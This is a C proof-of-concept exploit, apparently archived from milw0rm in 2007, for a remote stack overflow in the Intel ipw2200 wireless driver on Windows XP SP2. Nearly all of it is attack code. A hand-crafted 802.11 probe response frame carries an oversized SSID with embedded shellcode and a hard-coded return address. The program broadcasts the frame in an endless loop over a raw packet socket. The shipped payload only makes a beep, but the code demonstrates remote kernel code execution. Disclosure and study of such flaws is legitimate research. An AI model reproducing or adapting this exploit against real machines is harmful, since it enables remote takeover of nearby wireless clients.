/*
 * This is a PoC exploit for Intel Centrino ipw2200 integrated wireless card.
 *
 * Author: 
 * Giuseppe Gottardi (aka oveRet) <overet@securitydate.it>
 * Senior Security Engineer at Communication Valley S.p.A.
 * 
 * This version of code is only a Proof of Concept stack based exploit that demonstrates
 * the remote code execution on ipw2200 driver. It execute a beep user space shellcode.
 *
 * It only works on XP SP2 ITA and it was only tested with 8.0.12.20000 version of 
 * IPW2200BG driver.
 *
 * Thanks to Johnny Cache, H D Moore, skape and Barnaby Jack for their papers.
 *
*/

#include <netdb.h>
#include <net/ethernet.h>
#include <netinet/if_ether.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>

//#define DEBUG
#define DEV		"wlan0"
#define DELAY		0.1

char wifi_packet[]= 
"\x50"
"\x00"
"\x3a\x01"
"\x00\x0e\x35\x95\x7b\x45" 						//DSTMAC
"\x00\x01\x02\x03\x04\x05"
"\x00\x01\x02\x03\x04\x05"
"\xc0\x31"
"\x14\x3a\x25\x02\x00\x00\x00\x00"
"\xa0\x0f"
"\x31\x08"
"\x00\x9c"								//SSID len
"\xeb\x38\xbb\x01\x03\xdf\xff\x4b\xfc\x8d\x7b\x7c\x5e\x6a\x17\x59"
"\xf3\xa5\xbf\x7c\x03\xfe\x7f\x39\x3b\x74\x09\x8b\x03\x8d\x4b\x08"
"\x89\x01\x89\x3b\x31\xc0\x64\xc6\x40\x24\x02\x8b\x1d\x1c\xf0\xdf"
"\xff\xb8\xc7\xc0\x4d\x80\x6a\x00\xff\xe0\xe8\xc3\xff\xff\xff\x60"
"\x6a\x30\x58\x99\x64\x8b\x18\x39\x53\x0c\x74\x26\x8b\x5b\x10\x8b"
"\x5b\x3c\x83\xc3\x28\x8b\x0b\x03\x4b\x03\x81\xf9\x6c\x61\x73\x73"
"\x75\x10\x64\x8b\x18\x43\x43\x43\x80\x3b\x01\x74\x05\xc6\x03\x01"
"\xeb\x07\x61\xff\x25\x08\x03\xfe\x7f\x55\x89\xe5\x83\xec\x18\xc7"
"\x45\xfc\x53\x8a\x83\x7c\xc7\x44\x24\x04\xd0\x03\x00\x00\xc7\x04"
"\x24\x01\x0e\x00\x00\x8b\x45\xfc\xff\xd0\xc9\xc3"
"\x01\x04\x82\x84\x8b\x96"
"\x03\x01\x05"
"\x85\x1e\x00\x00\x86\x00\x1f\x00\xff\x03\x19\x00\x61\x70\x00\x00"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x06"
"\xdd\x18\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50"
"\xf2\x02\x01\x00\x00\x50\xf2\x02\x28\x00"
"\xdd\x06\x00\x40\x96\x01\x01\x00"
"\xdd\x05\x00\x40\x96\x03\x04"	
"\xdd\x16\x00\x40\x96\x04\x00\x09\x07\xa5\x00\x00\x23\xa5\x00\x00"	
"\x42\x54\x00\x00\x62\x43\x00\x00"
"\xdd\x05\x00\x40\x96\x0b\x01"	
"\xdd\x18\x00\x50\xf2\x02\x01\x01\x89\x00\x03\xa5\x00\x00\x27\xa5"
"\x00\x00\x42\x54\xbc\x00\x62\x43\x66\x00"
"\xdd\x10\x00\x50\xf2\x05\x00\x01\x00\x04\x00\x00\x83\x07"
"\x5a\xf0\x54\x80";							//RET address

int send_probe_response(char *dev)
{
	struct sockaddr		sa;
	int	sockfd;
	int rc;

#ifdef DEBUG
	int i;
	u_char *moe = wifi_packet;
#endif /* DEBUG */

	memset(&sa, 0, sizeof(struct sockaddr));

	sa.sa_family = PF_PACKET;
	memcpy(sa.sa_data, dev, sizeof(sa.sa_data));

#ifdef DEBUG
	for (i=0; i<sizeof(wifi_packet) -1; i++, moe++) {
		if (!(i%32)) printf("\n");
		printf("%02x ", *moe);
	}
	printf("\n");
#endif /* DEBUG */

	if ((sockfd=socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ALL))) < 0) {
		perror("socket");
		return -1;
	}

	if((rc=sendto(sockfd, wifi_packet, sizeof(wifi_packet) -1, 0, &sa, sizeof(sa))) < 0) {
		close(sockfd);
		perror("sendto");
		return -1;
	}

	close(sockfd);
	return rc;
}


int main(int argc, char *argv[])
{
	int rc;

	printf("waiting for beep shellcode execution...\n");

	for (;;) {
		rc = send_probe_response(DEV);
		sleep(DELAY);
	}

	return 0;
}

// milw0rm.com [2007-01-19]
